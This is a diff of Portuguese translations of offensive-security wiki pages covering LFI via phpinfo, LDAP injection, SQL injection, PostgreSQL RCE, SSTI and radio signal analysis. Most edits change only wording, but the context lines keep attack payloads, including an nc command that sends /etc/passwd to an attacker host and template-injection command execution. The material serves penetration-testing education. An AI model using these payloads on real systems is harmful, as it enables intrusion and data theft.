+Se você encontrou uma **Local File Inclusion** e **pode exfiltrar o caminho** do arquivo temporário, MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **contornar essa verificação** com esta **Race Condition**:

 {{#ref}}
 lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@ -603,7 +603,7 @@ lfi2rce-via-eternal-waiting.md
 Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para gerar esse erro).

 **Eu não sei como isso é útil, mas pode ser.**\
-&#xNAN;_&#x45; mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
+&#xNAN;_&#x45; mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são excluídos._

 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

@ -612,6 +612,8 @@ Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/u
 - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
 - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

-{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
+{{#file}}
+EN-Local-File-Inclusion-1.pdf
+{{#endfile}}

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
@ -6,27 +6,29 @@ Para explorar essa vulnerabilidade, você precisa: **Uma vulnerabilidade LFI, um

 **Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)

-Você precisa corrigir o exploit (mudar **=>** por **=>**). Para fazer isso, você pode fazer:
+Você precisa corrigir o exploit (mudar **=>** para **=>**). Para fazer isso, você pode fazer:
 ```
 sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
 ```
 Você também precisa alterar o **payload** no início do exploit (por exemplo, para um php-rev-shell), o **REQ1** (isso deve apontar para a página phpinfo e deve ter o padding incluído, ou seja: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), e **LFIREQ** (isso deve apontar para a vulnerabilidade LFI, ou seja: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Verifique o duplo "%" ao explorar o caractere nulo)

-{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
+{{#file}}
+LFI-With-PHPInfo-Assistance.pdf
+{{#endfile}}

 ### Teoria

-Se uploads são permitidos no PHP e você tenta fazer o upload de um arquivo, esse arquivo é armazenado em um diretório temporário até que o servidor termine de processar a solicitação, então esse arquivo temporário é excluído.
+Se uploads são permitidos em PHP e você tenta fazer o upload de um arquivo, esse arquivo é armazenado em um diretório temporário até que o servidor termine de processar a solicitação, então esse arquivo temporário é excluído.

 Então, se você encontrou uma vulnerabilidade LFI no servidor web, pode tentar adivinhar o nome do arquivo temporário criado e explorar um RCE acessando o arquivo temporário antes que ele seja excluído.

-No **Windows**, os arquivos geralmente são armazenados em **C:\Windows\temp\php**
+Em **Windows**, os arquivos geralmente são armazenados em **C:\Windows\temp\php**

-No **linux**, o nome do arquivo costuma ser **aleatório** e localizado em **/tmp**. Como o nome é aleatório, é necessário **extrair de algum lugar o nome do arquivo temporário** e acessá-lo antes que ele seja excluído. Isso pode ser feito lendo o valor da **variável $\_FILES** dentro do conteúdo da função "**phpconfig()**".
+Em **linux**, o nome do arquivo costuma ser **aleatório** e localizado em **/tmp**. Como o nome é aleatório, é necessário **extrair de algum lugar o nome do arquivo temporário** e acessá-lo antes que ele seja excluído. Isso pode ser feito lendo o valor da **variável $\_FILES** dentro do conteúdo da função "**phpconfig()**".

 **phpinfo()**

-**PHP** usa um buffer de **4096B** e quando está **cheio**, é **enviado ao cliente**. Então, o cliente pode **enviar** **muitas solicitações grandes** (usando cabeçalhos grandes) **fazendo upload de um php** reverse **shell**, esperar que **a primeira parte do phpinfo() seja retornada** (onde o nome do arquivo temporário está) e tentar **acessar o arquivo temporário** antes que o servidor php exclua o arquivo explorando uma vulnerabilidade LFI.
+**PHP** usa um buffer de **4096B** e quando está **cheio**, é **enviado ao cliente**. Então, o cliente pode **enviar** **muitas requisições grandes** (usando cabeçalhos grandes) **fazendo upload de um php** reverse **shell**, esperar que **a primeira parte do phpinfo() seja retornada** (onde o nome do arquivo temporário está) e tentar **acessar o arquivo temporário** antes que o servidor php exclua o arquivo explorando uma vulnerabilidade LFI.

 **Script Python para tentar forçar o nome (se o comprimento = 6)**
 ```python
--- a/src/pentesting-web/ldap-injection.md
+++ b/src/pentesting-web/ldap-injection.md
@ -14,9 +14,11 @@
 ../network-services-pentesting/pentesting-ldap.md
 {{#endref}}

-**LDAP Injection** é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **não sanitiza corretamente** a entrada, permitindo que atacantes **manipulem declarações LDAP** através de um proxy local, potencialmente levando a acesso não autorizado ou manipulação de dados.
+**LDAP Injection** é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **não sanitiza adequadamente** a entrada, permitindo que atacantes **manipulem declarações LDAP** através de um proxy local, potencialmente levando a acesso não autorizado ou manipulação de dados.

-{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
+{{#file}}
+EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
+{{#endfile}}

 **Filter** = ( filtercomp )\
 **Filtercomp** = and / or / not / item\
@ -52,11 +54,11 @@ Exemplo: `(&(directory=val1)(folder=public))`
 `(&(objectClass=VALUE1)(type=Epson*))`\
 `VALUE1 = *)(ObjectClass=*))(&(objectClass=void`

-Então: `(&(objectClass=`**`*)(ObjectClass=*))`** será o primeiro filtro (o que é executado).
+Então: `(&(objectClass=`**`*)(ObjectClass=*))`** será o primeiro filtro (o que será executado).

 ### Login Bypass

-LDAP suporta vários formatos para armazenar a senha: clear, md5, smd5, sh1, sha, crypt. Portanto, pode ser que independentemente do que você insira na senha, ela seja hash.
+LDAP suporta vários formatos para armazenar a senha: clear, md5, smd5, sh1, sha, crypt. Portanto, pode ser que, independentemente do que você insira na senha, ela seja hashada.
 ```bash
 user=*
 password=*
@ -115,7 +117,7 @@ password=any

 - [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
 - [Atributos LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [Atributos PosixAccount LDAP](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
+- [Atributos PosixAccount do LDAP](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)

 ### Injeção LDAP Cega

--- a/src/pentesting-web/sql-injection/README.md
+++ b/src/pentesting-web/sql-injection/README.md
@ -2,13 +2,13 @@

 {{#include ../../banners/hacktricks-training.md}}

-## O que é injeção de SQL?
+## O que é injeção SQL?

-Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram nas consultas de banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que atacantes **visualizem**, **modifiquem** ou **deletam** dados que não deveriam acessar, incluindo informações de outros usuários ou qualquer dado que a aplicação possa acessar. Tais ações podem resultar em mudanças permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometimento do servidor ou negação de serviço.
+Uma **injeção SQL** é uma falha de segurança que permite que atacantes **interfiram nas consultas de banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que atacantes **visualizem**, **modifiquem** ou **deletam** dados que não deveriam acessar, incluindo informações de outros usuários ou qualquer dado que a aplicação possa acessar. Tais ações podem resultar em mudanças permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometimento do servidor ou negação de serviço.

 ## Detecção de ponto de entrada

-Quando um site parece ser **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz. Estes são alguns exemplos úteis:
+Quando um site parece ser **vulnerável a injeção SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz. Estes são alguns exemplos úteis:
 ```
 [Nothing]
 '
@ -53,9 +53,9 @@ HQL does not support comments
 ```
 ### Confirmando com operações lógicas

-Um método confiável para confirmar uma vulnerabilidade de SQL injection envolve executar uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` que gera conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de SQL injection.
+Um método confiável para confirmar uma vulnerabilidade de injeção SQL envolve executar uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` que gera conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de injeção SQL.

-Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzir os mesmos resultados, isso é indicativo de SQL injection.
+Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzir os mesmos resultados, isso é indicativo de injeção SQL.

 Exemplos demonstrando a confirmação de operação lógica:
 ```
@ -66,9 +66,11 @@ page.asp?id=1 and 1=2 -- results in false
 ```
 Esta lista de palavras foi criada para tentar **confirmar SQLinjections** da maneira proposta:

-{% file src="../../images/sqli-logic.txt" %}
+{{#file}}
+sqli-logic.txt
+{{#endfile}}

-### Confirmando com Timing
+### Confirmando com Tempo

 Em alguns casos, você **não notará nenhuma mudança** na página que está testando. Portanto, uma boa maneira de **descobrir SQL injections blindas** é fazer com que o DB execute ações que terão um **impacto no tempo** que a página leva para carregar.\
 Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:
@ -211,7 +213,7 @@ Neste caso, você pode abusar desse comportamento para despejar o banco de dados
 ```sql
 ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
 ```
-## Explorando SQLi Cega por Erro
+## Explorando Error Blind SQLi

 Este é o **mesmo caso de antes**, mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode **distinguir entre** um **erro** na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL toda vez que adivinhar corretamente o caractere:
 ```sql
@ -241,11 +243,11 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
 ```
 ## Exploração Automatizada

-Verifique o [SQLMap Cheatsheet](sqlmap/index.html) para explorar uma vulnerabilidade de SQLi com [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
+Verifique a [SQLMap Cheatsheet](sqlmap/index.html) para explorar uma vulnerabilidade de SQLi com [**sqlmap**](https://github.com/sqlmapproject/sqlmap).

 ## Informações técnicas específicas

-Já discutimos todas as maneiras de explorar uma vulnerabilidade de SQL Injection. Encontre mais algumas dicas dependentes da tecnologia de banco de dados neste livro:
+Já discutimos todas as maneiras de explorar uma vulnerabilidade de Injeção de SQL. Encontre mais algumas dicas dependentes da tecnologia de banco de dados neste livro:

 - [MS Access](ms-access-sql-injection.md)
 - [MSSQL](mssql-injection.md)
@ -281,7 +283,9 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
 Você deve usar como nome de usuário cada linha da lista e como senha sempre: _**Pass1234.**_\
 &#xNAN;_(Esses payloads também estão incluídos na grande lista mencionada no início desta seção)_

-{% file src="../../images/sqli-hashbypass.txt" %}
+{{#file}}
+sqli-hashbypass.txt
+{{#endfile}}

 ### Bypass de Autenticação GBK

@ -310,8 +314,8 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

 Para isso, você deve tentar **criar um novo objeto nomeado como o "objeto mestre"** (provavelmente **admin** no caso de usuários) modificando algo:

- Criar usuário nomeado: **AdMIn** (letras maiúsculas e minúsculas)
- Criar um usuário nomeado: **admin=**
+- Criar usuário chamado: **AdMIn** (letras maiúsculas e minúsculas)
+- Criar um usuário chamado: **admin=**
 - **SQL Truncation Attack** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com nome: **admin \[muitos espaços] a**

 #### SQL Truncation Attack
@ -322,11 +326,11 @@ O banco de dados irá **verificar** se o **nome de usuário** introduzido **exis

 Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)

-_Note: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco finais por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
+_Note: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco à direita por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)

 ### Verificação baseada em tempo de inserção do MySQL

-Adicione quantos `','',''` você considerar para sair da declaração VALUES. Se o atraso for executado, você tem uma SQLInjection.
+Adicione o máximo de `','',''` que considerar para sair da declaração VALUES. Se o atraso for executado, você tem uma SQLInjection.
 ```sql
 name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
 ```
@ -380,7 +384,7 @@ Usando **hex** e **replace** (e **substr**):
 ```
 ## Injeção SQL Roteada

-A injeção SQL roteada é uma situação onde a consulta injetável não é a que gera a saída, mas a saída da consulta injetável vai para a consulta que gera a saída. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
+Injeção SQL roteada é uma situação onde a consulta injetável não é a que gera a saída, mas a saída da consulta injetável vai para a consulta que gera a saída. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))

 Exemplo:
 ```
@ -393,7 +397,7 @@ Exemplo:

 ### Bypass sem espaços

-Sem espaço (%20) - bypass usando alternativas de espaço em branco
+Sem Espaço (%20) - bypass usando alternativas de espaço em branco
 ```sql
 ?id=1%09and%091=1%09--
 ?id=1%0Dand%0D1=1%0D--
@ -445,9 +449,9 @@ Basicamente, você pode usar a notação científica de maneiras inesperadas par
 ```
 ### Bypass Column Names Restriction

-Primeiro de tudo, note que se a **consulta original e a tabela de onde você deseja extrair a bandeira tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
+Primeiro de tudo, note que se a **consulta original e a tabela de onde você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`

-É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma sqlinjection isso pareceria assim:
+É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma sqlinjection isso pareceria:
 ```bash
 # This is an example with 3 columns that will extract the column number 3
 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
--- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
@ -14,7 +14,7 @@ Além disso, tenha em mente que **se você não sabe como** [**fazer upload de a

 **Para mais informações, consulte: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**

-A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo que foi claramente documentado e é direto. É possível usar este: [Módulo do Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
+A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo que foi claramente documentado e é direto. É possível usar este: [módulo do Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
 ```sql
 CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
 SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -166,7 +166,9 @@ PG_RETURN_VOID();
 ```
 Você pode encontrar a DLL compilada neste zip:

-{% file src="../../../images/pgsql_exec.zip" %}
+{{#file}}
+pgsql_exec.zip
+{{#endfile}}

 Você pode indicar a esta DLL **qual binário executar** e o número de vezes para executá-lo, neste exemplo, ele executará `calc.exe` 2 vezes:
 ```bash
@ -256,11 +258,11 @@ Observe como, neste caso, o **código malicioso está dentro da função DllMain
 ```c
 CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
 ```
-O [projeto PolyUDF](https://github.com/rop-la/PolyUDF) também é um bom ponto de partida com o projeto completo do MS Visual Studio e uma biblioteca pronta para uso (incluindo: _command eval_, _exec_ e _cleanup_) com suporte a múltiplas versões.
+O [PolyUDF project](https://github.com/rop-la/PolyUDF) também é um bom ponto de partida com o projeto completo do MS Visual Studio e uma biblioteca pronta para uso (incluindo: _command eval_, _exec_ e _cleanup_) com suporte a multiversões.

 ### RCE nas versões mais recentes do PostgreSQL

-Nas **últimas versões** do PostgreSQL, foram impostas restrições onde o `superuser` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios estão **protegidos** contra operações de gravação pelos contas NETWORK_SERVICE ou postgres.
+Nas **últimas versões** do PostgreSQL, restrições foram impostas onde o `superuser` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios são **protegidos** contra operações de gravação pelos contas NETWORK_SERVICE ou postgres.

 Apesar dessas restrições, é possível para um `superuser` autenticado **gravar arquivos binários** no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à gravação dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados, como atualizar ou criar tabelas.

--- a/src/pentesting-web/ssti-server-side-template-injection/README.md
+++ b/src/pentesting-web/ssti-server-side-template-injection/README.md
@ -43,7 +43,7 @@ Identificar o mecanismo de template envolve analisar mensagens de erro ou testar

 ### [TInjA](https://github.com/Hackmanit/TInjA)

-um scanner SSTI + CSTI eficiente que utiliza poliglotas novos
+um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadores.
 ```bash
 tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
 tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}

 ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
 ```
-**Freemarker - Bypass de sandbox**
+**Freemarker - Bypass de Sandbox**

 ⚠️ só funciona em versões do Freemarker abaixo de 2.3.30
 ```java
@ -169,11 +169,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
 ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
 ```

-Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, _inlining de expressão_ é suportado para outros locais de template, usando sintaxe como `[[...]]` ou `[(...)]`. Assim, um simples payload de teste SSTI pode parecer `[[${7*7}]]`.
+Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, _inlining de expressões_ é suportado para outros locais de template, usando sintaxe como `[[...]]` ou `[(...)]`. Assim, um simples payload de teste SSTI pode parecer `[[${7*7}]]`.

 No entanto, a probabilidade de esse payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio `TemplateResolver` para criar templates a partir de strings em tempo real, o que é incomum.

-Thymeleaf também oferece _pré-processamento de expressão_, onde expressões dentro de sublinhados duplos (`__...__`) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
+Thymeleaf também oferece _pré-processamento de expressões_, onde expressões dentro de sublinhados duplos (`__...__`) são pré-processadas. Este recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
 ```java
 #{selection.__${sel.code}__}
 ```
@ -372,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
 - `${{7*7}}` - 49
 - `${{request}}, ${{session}}, {{faceContext}}`

-Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
+Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como managed beans) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:

 - **JavaServer Faces (JSF)**: Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend.
 - **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página com os dados da aplicação.
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
+- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os managed beans, garantindo uma estrutura de aplicação mais coerente.

 Verifique a página a seguir para saber mais sobre a **exploração de interpretadores EL**:

@ -386,7 +386,7 @@ el-expression-language.md

 ### Groovy (Java)

-As seguintes contornas do Security Manager foram retiradas deste [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
+As seguintes contornadas do Security Manager foram retiradas deste [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
 ```java
 //Basic Payload
 import groovy.*;
@ -777,7 +777,7 @@ range.constructor(

 ### Python

-Confira a página a seguir para aprender truques sobre **execução arbitrária de comandos contornando sandboxes** em python:
+Confira a página a seguir para aprender truques sobre **bypass de execução de comando arbitrário em sandboxes** em python:

 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -976,7 +976,9 @@ Verifique o restante de [https://github.com/swisskyrepo/PayloadsAllTheThings/tre

 ## BlackHat PDF

-{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
+{{#file}}
+EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
+{{#endfile}}

 ## Ajuda Relacionada

--- a/src/todo/hardware-hacking/radio.md
+++ b/src/todo/hardware-hacking/radio.md
@ -22,7 +22,7 @@ No comportamento da GUI, é recomendado habilitar algumas coisas se seu PC supor

 ### Usos

- Apenas para **capturar algum tempo de um sinal e analisá-lo**, mantenha o botão "Push to capture" pressionado enquanto precisar.
+- Para **capturar algum tempo de um sinal e analisá-lo**, mantenha o botão "Push to capture" pressionado pelo tempo que precisar.

 ![](<../../images/image (960).png>)

@ -32,7 +32,7 @@ No comportamento da GUI, é recomendado habilitar algumas coisas se seu PC supor

 ### Sincronizar com o canal de rádio

-Com [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sincronize com o canal que você deseja ouvir, configure a opção "Baseband audio preview", configure a largura de banda para obter todas as informações sendo enviadas e, em seguida, ajuste o Tuner para o nível antes que o ruído comece realmente a aumentar:
+Com [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sincronize com o canal que você deseja ouvir, configure a opção "Baseband audio preview", configure a largura de banda para obter todas as informações sendo enviadas e, em seguida, ajuste o Tuner para o nível antes que o ruído comece a aumentar realmente:

 ![](<../../images/image (585).png>)

@ -57,20 +57,22 @@ Se você está verificando um sinal, existem diferentes maneiras de tentar desco

 - **Detectando AM**: Se no gráfico IQ aparecem, por exemplo, **2 círculos** (provavelmente um em 0 e outro em uma amplitude diferente), isso pode significar que este é um sinal AM. Isso ocorre porque no gráfico IQ a distância entre o 0 e o círculo é a amplitude do sinal, então é fácil visualizar diferentes amplitudes sendo usadas.
 - **Detectando PM**: Como na imagem anterior, se você encontrar pequenos círculos não relacionados entre si, isso provavelmente significa que uma modulação de fase está sendo usada. Isso ocorre porque no gráfico IQ, o ângulo entre o ponto e o 0,0 é a fase do sinal, então isso significa que 4 fases diferentes estão sendo usadas.
- Note que se a informação estiver oculta no fato de que uma fase é alterada e não na fase em si, você não verá fases diferentes claramente diferenciadas.
- **Detectando FM**: IQ não tem um campo para identificar frequências (distância ao centro é amplitude e ângulo é fase).\
-Portanto, para identificar FM, você deve **ver basicamente um círculo** neste gráfico.\
+- Note que se a informação estiver oculta no fato de que uma fase é alterada e não na fase em si, você não verá diferentes fases claramente diferenciadas.
+- **Detectando FM**: IQ não tem um campo para identificar frequências (a distância ao centro é amplitude e o ângulo é fase).\
+Portanto, para identificar FM, você deve **ver basicamente apenas um círculo** neste gráfico.\
 Além disso, uma frequência diferente é "representada" pelo gráfico IQ por uma **aceleração de velocidade ao longo do círculo** (então, no SysDigger, selecionando o sinal, o gráfico IQ é populado; se você encontrar uma aceleração ou mudança de direção no círculo criado, isso pode significar que isso é FM):

 ## Exemplo de AM

-{% file src="../../images/sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw" %}
+{{#file}}
+sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
+{{#endfile}}

 ### Descobrindo AM

 #### Verificando o envelope

-Verificando informações AM com [**SigDigger** ](https://github.com/BatchDrake/SigDigger)e apenas olhando para o **envelope**, você pode ver diferentes níveis de amplitude claros. O sinal usado está enviando pulsos com informações em AM, assim é como um pulso se parece:
+Verificando informações AM com [**SigDigger** ](https://github.com/BatchDrake/SigDigger)e apenas olhando para o **envelope**, você pode ver diferentes níveis de amplitude claros. O sinal utilizado está enviando pulsos com informações em AM, assim é como um pulso se parece:

 ![](<../../images/image (590).png>)

@ -80,11 +82,11 @@ E assim é como parte do símbolo se parece com a forma de onda:

 #### Verificando o Histograma

-Você pode **selecionar todo o sinal** onde as informações estão localizadas, selecionar o modo **Amplitude** e **Seleção** e clicar em **Histograma**. Você pode observar que 2 níveis claros são encontrados
+Você pode **selecionar todo o sinal** onde as informações estão localizadas, selecionar o modo **Amplitude** e **Seleção** e clicar em **Histograma.** Você pode observar que 2 níveis claros são encontrados

 ![](<../../images/image (264).png>)

-Por exemplo, se você selecionar Frequência em vez de Amplitude neste sinal AM, você encontrará apenas 1 frequência (não há como a informação modulada em frequência estar usando apenas 1 frequência).
+Por exemplo, se você selecionar Frequência em vez de Amplitude neste sinal AM, você encontra apenas 1 frequência (não há como a informação modulada em frequência estar usando apenas 1 frequência).

 ![](<../../images/image (732).png>)

@ -112,14 +114,14 @@ Você também pode indicar o número de símbolos que você vai selecionar e o S

 ### Obter Bits

-Tendo encontrado que este é um sinal **modulado em AM** e a **taxa de símbolos** (e sabendo que neste caso algo para cima significa 1 e algo para baixo significa 0), é muito fácil **obter os bits** codificados no sinal. Então, selecione o sinal com informações e configure a amostragem e a decisão e pressione amostra (verifique se **Amplitude** está selecionado, a **Taxa de Símbolos** descoberta está configurada e a **recuperação de clock de Gadner** está selecionada):
+Tendo encontrado que este é um sinal **modulado em AM** e a **taxa de símbolos** (e sabendo que neste caso algo up significa 1 e algo down significa 0), é muito fácil **obter os bits** codificados no sinal. Então, selecione o sinal com informações e configure a amostragem e a decisão e pressione amostra (verifique se **Amplitude** está selecionado, a **Taxa de Símbolos** descoberta está configurada e a **recuperação de clock de Gardner** está selecionada):

 ![](<../../images/image (965).png>)

 - **Sincronizar com intervalos de seleção** significa que se você selecionou anteriormente intervalos para encontrar a taxa de símbolos, essa taxa de símbolos será usada.
